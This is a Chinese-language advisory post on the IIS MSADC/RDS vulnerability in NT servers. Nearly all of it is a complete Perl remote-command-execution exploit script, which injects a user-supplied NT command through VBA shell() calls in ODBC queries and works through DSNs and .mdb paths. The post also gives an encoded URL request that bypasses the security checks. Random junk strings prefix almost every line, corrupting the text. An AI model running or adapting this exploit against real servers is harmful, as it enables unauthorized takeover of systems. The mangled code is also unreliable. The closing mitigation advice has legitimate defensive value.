IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
x ]~{#pH@< 9A@/5Z:v5W 涉及程序：
g%P6 f Microsoft NT server
KCE5Z?k Y7TW_[_u 描述：
n]?KDID; 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
MN wMF f~HC%C
YH 详细：
EDMuQu/D8 如果你没有时间读详细内容的话，就删除:
nH6Ny c:\Program Files\Common Files\System\Msadc\msadcs.dll
f,Z* o 有关的安全问题就没有了。
z}'-gv\, 8zDLX,M- 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
7+!4pf I
,j,H z0 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
E}7@?o7u} 关于利用ODBC远程漏洞的描述，请参看:
k/ 6Qwb # rb"J{^ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 8 ` QbUQ6 g4Y1*`}2f 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
O z 3JMZe http://www.microsoft.com/security/bulletins/MS99-025faq.asp >(>,*zP<9 Q L 0 这里不再论述。
_>b=f FTVV+9.l: 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
0Nvk|uI
V[ +v!% z( /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Zb p+b; 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
v:$Ka@v6 qK_jgj=w M>eMDCB\ #将下面这段保存为txt文件，然后: "perl -x 文件名"
Yo 0wufbfV 0j}!4D+ #!perl
q9)]R
#
e}xx4mYo # MSADC/RDS 'usage' (aka exploit) script
.paKV"LJ #
V8Lp%*(3 # by rain.forest.puppy
$,@PY 5r #
D W@|H # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ZGa;' # beta test and find errors!
& xAwk-{W T[M:%vjYF use Socket; use Getopt::Std;
LqZsH0C getopts("e:vd:h:XR", \%args);
yYdow.b! n<GTc{>Z print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Gx&o3^ t QfdATK P if (!defined $args{h} && !defined $args{R}) {
^x BQ#p print qq~
(_ 9 u< Usage: msadc.pl -h <host> { -d <delay> -X -v }
;hz;|\ko5 -h <host> = host you want to scan (ip or domain)
mz[Q]e~&i -d <seconds> = delay between calls, default 1 second
\LN! k-c -X = dump Index Server path table, if available
-:$#ko W -v = verbose
>cTS X -e = external dictionary file for step 5
C2X$ bX" HX) oN8 Or a -R will resume a command session
TJ _<21a }0y2k 7^] ~; exit;}
nM<B{AR5^ IBT 1If3 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
R [qfG!
" if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Lrrc &; if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Y8 % bk2 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
PLb[U(~ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
j[ fE^& if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
y7X2|$9z- 4X}.aZO&b if (!defined $args{R}){ $ret = &has_msadc;
~W>3EJghR, die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
L?F b} cF2!By3M print "Please type the NT commandline you want to run (cmd /c assumed):\n"
q6] T;)U& . "cmd /c ";
9 I|D"zXn $in=<STDIN>; chomp $in;
F|wT']1Y $command="cmd /c " . $in ;
Bn4wr '{ $7Dbo if (defined $args{R}) {&load; exit;}
aVE/qX B 0x Er`]]U print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
-/g<A~+i]$ &try_btcustmr;
Sc.@ u3 1_=I\zx( print "\nStep 2: Trying to make our own DSN...";
"hbCP4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
# n_ gry!5 |7$Q'3V print "\nStep 3: Trying known DSNs...";
B - 1Kfc &known_dsn;
D;Bij= Qo5yfdR print "\nStep 4: Trying known .mdbs...";
-$A
>b8 &known_mdb;
\ cr)O ^& (i1q ". if (defined $args{e}){
,6EFJ Vu
\ print "\nStep 5: Trying dictionary of DSN names...";
@'> Ul!.] &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
)8JfBzR RSTA!?K/. print "Sorry Charley...maybe next time?\n";
|uIgZ|7[ exit;
,SF>$
. )Y](Mj!D ##############################################################################
\z8j6 h B>kVJK`X sub sendraw { # ripped and modded from whisker
` 'vNHY sleep($delay); # it's a DoS on the server! At least on mine...
kM;}$ *? my ($pstr)=@_;
Fy# 7 <Hp socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%W 8*vSbx die("Socket problems\n");
o G$OZTc if(connect(S,pack "SnA4x8",2,80,$target)){
>4^,[IO/ select(S); $|=1;
/* G-\| print $pstr; my @in=<S>;
]=%oBxWAP select(STDOUT); close(S);
U&'Xs z return @in;
8+n *S $ } else { die("Can't connect...\n"); }}
0hpU9w} 12 s}93nv*ez ##############################################################################
oB8LJZ; :5#iVa#< sub make_header { # make the HTTP request
3P|z`}Ka my $msadc=<<EOT
5L 0w!q'W POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
kTfE*W e9 User-Agent: ACTIVEDATA
}nK=~Wcu\ Host: $ip
Maw$^Tz, Content-Length: $clen
aJzyEb Connection: Keep-Alive
GTocN1,Z~a 5{|tE! ADCClientVersion:01.06
,GY K3 +}Z Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
[!S%nYs&8L ($X2SIZh --!ADM!ROX!YOUR!WORLD!
}I"k=>Ycns Content-Type: application/x-varg
V2B:
DIpr Content-Length: $reqlen
AT - U:fGIEz{ZY EOT
p;<aZ&@O ; $msadc=~s/\n/\r\n/g;
9TU B3x^ return $msadc;}
,ieew` ai]KH7 ##############################################################################
3>#io^3 5 Jz@2?wSp sub make_req { # make the RDS request
,c&%/"i:w my ($switch, $p1, $p2)=@_;
O|mWQp^?q my $req=""; my $t1, $t2, $query, $dsn;
[+wLy3_ 8=,?B h". if ($switch==1){ # this is the btcustmr.mdb query
Ro.b r:'Bw $query="Select * from Customers where City=" . make_shell();
U}<' [o
V $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
5,#aN}v#? $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
9zNMv- Z&6*8#wn elsif ($switch==2){ # this is general make table query
8FJPw"9 $query="create table AZZ (B int, C varchar(10))";
v VF T0_ $dsn="$p1";}
;XI=Y"h{% c{{RP6o/j= elsif ($switch==3){ # this is general exploit table query
q!as~{! $query="select * from AZZ where C=" . make_shell();
C,) e7 $dsn="$p1";}
e8U6 D+jY zxrbEE Q elsif ($switch==4){ # attempt to hork file info from index server
T( CTU/a-, $query="select path from scope()";
Z^t{m!v $dsn="Provider=MSIDXS;";}
>f:OU," ?/YT,W<c;& elsif ($switch==5){ # bad query
C P LsSv5 $query="select";
R, 8460e7 $dsn="$p1";}
=kBWY9 :$, ZJ%iiY $t1= make_unicode($query);
$p\ 0/ $t2= make_unicode($dsn);
"
XlXu $req = "\x02\x00\x03\x00";
_53N uEM1 $req.= "\x08\x00" . pack ("S1", length($t1));
cdv0:+[P $req.= "\x00\x00" . $t1 ;
dG%{&W9
$req.= "\x08\x00" . pack ("S1", length($t2));
zC WN,K` $req.= "\x00\x00" . $t2 ;
ADT8A."R[ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
HEs .pET\ return $req;}
<]u]rZc$ i,mo0CSa ##############################################################################
POb2U1Sj a!mdL|eA@ sub make_shell { # this makes the shell() statement
x-H R [{C return "'|shell(\"$command\")|'";}
I8XU
' |K'7BK_^J ##############################################################################
wiM-TFT~ t ybM3VA sub make_unicode { # quick little function to convert to unicode
3bR 6Y[ my ($in)=@_; my $out;
F=V_ ACU for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ke5_lr( return $out;}
I#:,!vjn `YK% I8 ##############################################################################
%s#`Z [8, sXR}#*8p
sub rdo_success { # checks for RDO return success (this is kludge)
H 2UR my (@in) = @_; my $base=content_start(@in);
Wf9K+my if($in[$base]=~/multipart\/mixed/){
2D"\Ox return 1 if( $in[$base+10]=~/^\x09\x00/ );}
0 r ilg return 0;}
m*\ XH
DB <j^"=UN4# ##############################################################################
A%G
\
AT _\P9~w
` sub make_dsn { # this makes a DSN for us
p<@ 0b my @drives=("c","d","e","f");
!PfI e94{` print "\nMaking DSN: ";
lilKYrUmG foreach $drive (@drives) {
EQ j2:9f print "$drive: ";
Z-!W#
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
XVfp* ` "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
$^2 j#]uX . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
:X`Bc" $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
hal3J return 0 if $2 eq "404"; # not found/doesn't exist
"KY9MBzPD if($2 eq "200") {
(\si/& foreach $line (@results) {
nx(O]R,Sw return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
eKL)jzC : } return 0;}
Z' 0Gd@/ h<wF;g, ##############################################################################
R,hX *yVq "-N)TIzLX sub verify_exists {
Xf.w( - my ($page)=@_;
$+Hv5]/hb my @results=sendraw("GET $page HTTP/1.0\n\n");
W`C&$v# return $results[0];}
Kt%` ]Wp `A\
!Gn? ##############################################################################
<!\J([NM8 B
0%kq7>g sub try_btcustmr {
7oPBe1P,K+ my @drives=("c","d","e","f");
V*U7-{ *a my @dirs=("winnt","winnt35","winnt351","win","windows");
1rV?^5 * xs8/? foreach $dir (@dirs) {
.cA[b print "$dir -> "; # fun status so you can see progress
_4z>I/R>Z foreach $drive (@drives) {
cI3uH1;# print "$drive: "; # ditto
0\AYUa?RM $reqlen=length( make_req(1,$drive,$dir) ) - 28;
%m a1LN[ $reqlenlen=length( "$reqlen" );
,vQkv u z $clen= 206 + $reqlenlen + $reqlen;
>RxZ-.,a a pUV6h-v my @results=sendraw(make_header() . make_req(1,$drive,$dir));
5|:=#Ql* if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Dyp'a else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
&^th KXEC :Ke~b_$Uy- ##############################################################################
o([+Pp "P< drz< sub odbc_error {
A0S6 4( my (@in)=@_; my $base;
A]B D2 my $base = content_start(@in);
W"|89\p} if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
1S\q\kz->D $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
dW!T.S $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?
Z8 _(e0U $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H"I|dK : return $in[$base+4].$in[$base+5].$in[$base+6];}
@ q5!3Nz print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
E](Ood print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
kvSSz%R~ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
fYx$3a. " I`<s < ##############################################################################
;wDcYs
61T"K sub verbose {
hig^o vF my ($in)=@_;
Cb.~Dv
! return if !$verbose;
K*;=^PY print STDOUT "\n$in\n";}
ngEjbCV+ x1+8f2[ ##############################################################################
Dw;L=4F
| CbS9fc& sub save {
sP5PYNspA my ($p1, $p2, $p3, $p4)=@_;
d'^jek h open(OUT, ">rds.save") || print "Problem saving parameters...\n";
2={`g/WeE print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
1>57rx"l close OUT;}
!K(0)~u y| @[? B ##############################################################################
b V;R}3) "]5]"F 4] sub load {
&bs/a] ?Z7 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
C#>c(-p>RC open(IN,"<rds.save") || die("Couldn't open rds.save\n");
G+^HZ4jg @p=<IN>; close(IN);
gjL>FOe8u $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
rt!5Tl+v $target= inet_aton($ip) || die("inet_aton problems");
*'PG@S print "Resuming to $ip ...";
Q>JJI:uC4 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
ph%/;?wY if($p[1]==1) {
Q F'N8 Kla $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
vy 1:>N?#5 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
hUB _[#8# my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
8WZM}3x$f{ if (rdo_success(@results)){print "Success!\n";}
LJfd{R1y+ else { print "failed\n"; verbose(odbc_error(@results));}}
[=7|LH jU elsif ($p[1]==3){
z~L (kf4 if(run_query("$p[3]")){
# r#UO print "Success!\n";} else { print "failed\n"; }}
4[Hf[ . elsif ($p[1]==4){
DP &,jU6 if(run_query($drvst . "$p[3]")){
rC[*x} print "Success!\n"; } else { print "failed\n"; }}
,>` wz^ z exit;}
{ >bw :^F DE^{8YX, ##############################################################################
mcpM<vY/H rrwBsa3 sub create_table {
$3W[fC my ($in)=@_;
o.k eM4OQ $reqlen=length( make_req(2,$in,"") ) - 28;
EUu"H` E+ $reqlenlen=length( "$reqlen" );
a 5:YP $clen= 206 + $reqlenlen + $reqlen;
j0Kj> my @results=sendraw(make_header() . make_req(2,$in,""));
$cSrT)u : return 1 if rdo_success(@results);
9`$fU)K[Pl my $temp= odbc_error(@results); verbose($temp);
b Zn:q[7 return 1 if $temp=~/Table 'AZZ' already exists/;
*y='0)[BD return 0;}
/3L1Un* 0.~QA+BD:S ##############################################################################
o(u&n3Q' a:XVu0`( sub known_dsn {
im Zi7o # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
fJH09:@^% my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
py]m^)yc "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
8G6PcTqv" "banner", "banners", "ads", "ADCDemo", "ADCTest");
R/Mwq#xUb C;1A$]bk foreach $dSn (@dsns) {
%r=uS.+hrF print ".";
\rF6"24t6 next if (!is_access("DSN=$dSn"));
|ITp$ _S if(create_table("DSN=$dSn")){
X2}\i5{ print "$dSn successful\n";
q?nXhUD if(run_query("DSN=$dSn")){
SsIy ;l print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
C5CU MYU print "Something's borked. Use verbose next time\n";}}} print "\n";}
t>)iC)^u 0 k@4;BY u ##############################################################################
m$ ) yd~ o8-B Tq8 sub is_access {
8V`NQS$ my ($in)=@_;
pEuZsQ $reqlen=length( make_req(5,$in,"") ) - 28;
' _lyoVP $reqlenlen=length( "$reqlen" );
!hrXud=#" $clen= 206 + $reqlenlen + $reqlen;
#g#v DR! my @results=sendraw(make_header() . make_req(5,$in,""));
W2D^%;mw my $temp= odbc_error(@results);
AjKP -[ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
w},' 1 return 0;}
y>Zvos e % 6+J]U ##############################################################################
A[oLV"J6x5 1+~JGY# sub run_query {
1L]7*NJe my ($in)=@_;
LZch7Xe3 $reqlen=length( make_req(3,$in,"") ) - 28;
+0r Mv $reqlenlen=length( "$reqlen" );
&$?e D{ $clen= 206 + $reqlenlen + $reqlen;
9I0/KuZd
O my @results=sendraw(make_header() . make_req(3,$in,""));
5cO}Jp%PA return 1 if rdo_success(@results);
1sl^+)z 8 my $temp= odbc_error(@results); verbose($temp);
?VrZM return 0;}
jb~a z w$n\`rQ ##############################################################################
] e!CH
<N R $HI JM sub known_mdb {
I<e[/#5P\` my @drives=("c","d","e","f","g");
bN$`&fC0 my @dirs=("winnt","winnt35","winnt351","win","windows");
E1IRb': my $dir, $drive, $mdb;
X&o!xV -+ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
D
M(WYL{
@[u! # this is sparse, because I don't know of many
L&=j O0_ my @sysmdbs=( "\\catroot\\icatalog.mdb",
] as_7 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
lTJ1]7) "\\system32\\certmdb.mdb",
cN0|! nm* "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
G;_QE<V~_ e:hkWcV my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Xt~`EN "\\cfusion\\cfapps\\forums\\forums_.mdb",
lE:X~RO"~ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
|7n&I` # "\\cfusion\\cfapps\\security\\realm_.mdb",
O( G|fs "\\cfusion\\cfapps\\security\\data\\realm.mdb",
yn<H^c "\\cfusion\\database\\cfexamples.mdb",
^prseO?A "\\cfusion\\database\\cfsnippets.mdb",
hYMIe]kJ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
`8ac;b "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
} #r TUX "\\cfusion\\brighttiger\\database\\cleam.mdb",
IWQ0I&tzdx "\\cfusion\\database\\smpolicy.mdb",
e@ Lxduq "\\cfusion\\database\cypress.mdb",
m$fEk, d "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
.9 r YBy "\\website\\cgi-win\\dbsample.mdb",
Y%.o
TB& "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Lwr's'ao. "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
94rSB}b.O ); #these are just
^$K&Met foreach $drive (@drives) {
P.'.KZJ:WD foreach $dir (@dirs){
STp9Gh- foreach $mdb (@sysmdbs) {
D%p* G5Bg3 print ".";
QQM: [1;RT if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
K*SgEkb'l print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
m G jB{Q+ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
v;x0=I&% print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
v Y0bK- } else { print "Something's borked. Use verbose next time\n"; }}}}}
;=Ma+d # QB*,+ u4 foreach $drive (@drives) {
An{>39 { foreach $mdb (@mdbs) {
cb|+6m~ print ".";
0%ul6LvM if(create_table($drv . $drive . $dir . $mdb)){
-&Z!b!jN print "\n" . $drive . $dir . $mdb . " successful\n";
RbAl_xKI if(run_query($drv . $drive . $dir . $mdb)){
/ jG?PZ =m print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Q":_\inF } else { print "Something's borked. Use verbose next time\n"; }}}}
gV2vwe }
g2vm ] j IZ=Z=k{ ##############################################################################
=AIFu\9#a` rwRZGd *p sub hork_idx {
}QFL print "\nAttempting to dump Index Server tables...\n";
u >*a@3$f print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
s bW+vc $reqlen=length( make_req(4,"","") ) - 28;
';t lV
u $reqlenlen=length( "$reqlen" );
/Y #8.sr $clen= 206 + $reqlenlen + $reqlen;
FDMQ Lx f my @results=sendraw2(make_header() . make_req(4,"",""));
V<QpC5 if (rdo_success(@results)){
Ew/MSl6} my $max=@results; my $c; my %d;
}r: "X<` for($c=19; $c<$max; $c++){
;6 G]~}>o $results[$c]=~s/\x00//g;
e~]P _53 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
J, =K1>8s $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
74Jx \(d $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
'Z{`P0/^o` $d{"$1$2"}="";}
cNWmaCLN$ foreach $c (keys %d){ print "$c\n"; }
OrkcY39"~a } else {print "Index server doesn't seem to be installed.\n"; }}
f 2WVg;Z 3:,%># " ##############################################################################
TO6F `<YMk p[ sub dsn_dict {
\.i7( J] open(IN, "<$args{e}") || die("Can't open external dictionary\n");
D!`[fjs6A while(<IN>){
y\FQt]; z) $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Wg|6{'a next if (!is_access("DSN=$dSn"));
xWxHi6U( if(create_table("DSN=$dSn")){
%J*1F print "$dSn successful\n";
bpY*;o$~ if(run_query("DSN=$dSn")){
{sw|bLo|+ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(JbRhcg print "Something's borked. Use verbose next time\n";}}}
{!I`EN] print "\n"; close(IN);}
D?KLV _Op QbJ7$ , 4 ##############################################################################
LphCx6f,X XRPJPwes] sub sendraw2 { # ripped and modded from whisker
]3 v)3Wp sleep($delay); # it's a DoS on the server! At least on mine...
C6 e5*S my ($pstr)=@_;
MV5$e socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
D[>:az ` die("Socket problems\n");
qsj$u-xhX if(connect(S,pack "SnA4x8",2,80,$target)){
E2zL-ft. print "Connected. Getting data";
q,[;AHb open(OUT,">raw.out"); my @in;
\; XJ$~> select(S); $|=1; print $pstr;
M c?_2<u- while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
{L$$"r, close(OUT); select(STDOUT); close(S); return @in;
$?ss5:
S } else { die("Can't connect...\n"); }}
M&iXdw& X!hzpg(`hR ##############################################################################
6Gu Td m+M^we*R sub content_start { # this will take in the server headers
gPn0-)< my (@in)=@_; my $c;
Q%6zr9 for ($c=1;$c<500;$c++) {
?<J~SF Tt if($in[$c] =~/^\x0d\x0a/){
HDhkg-QC if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
EuHQp7 else { return $c+1; }}}
%0&,_jM/9 return -1;} # it should never get here actually
_E9[4%f tO &n$$ ##############################################################################
X[/7vSqZ@w j~ b NH~3 sub funky {
0s8fF"$ my (@in)=@_; my $error=odbc_error(@in);
]HWeVhG if($error=~/ADO could not find the specified provider/){
jct=Nee| print "\nServer returned an ADO miscofiguration message\nAborting.\n";
]R~hzo exit;}
=Fe4-B?I if($error=~/A Handler is required/){
2 6}3 print "\nServer has custom handler filters (they most likely are patched)\n";
)W_akU L exit;}
wKJ|;o4;L if($error=~/specified Handler has denied Access/){
[VX 5r1-F print "\nServer has custom handler filters (they most likely are patched)\n";
[$} \Gv exit;}}
LmY[{.'tX #)L}{mHLM- ##############################################################################
{*;K>%r\o 6lpJ+A57# sub has_msadc {
\hBzQ%0 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0OlT^ my $base=content_start(@results);
C6g p}% return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Kf?:dF return 0;}
<0Y<9+g! aQHR=.S]X ########################
k"=*' ;mI^J=V3 P@bPdw!JA 解决方案：
]D~Ibv{Y 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
o;DK]o>kH 2、移除web 目录: /msadc
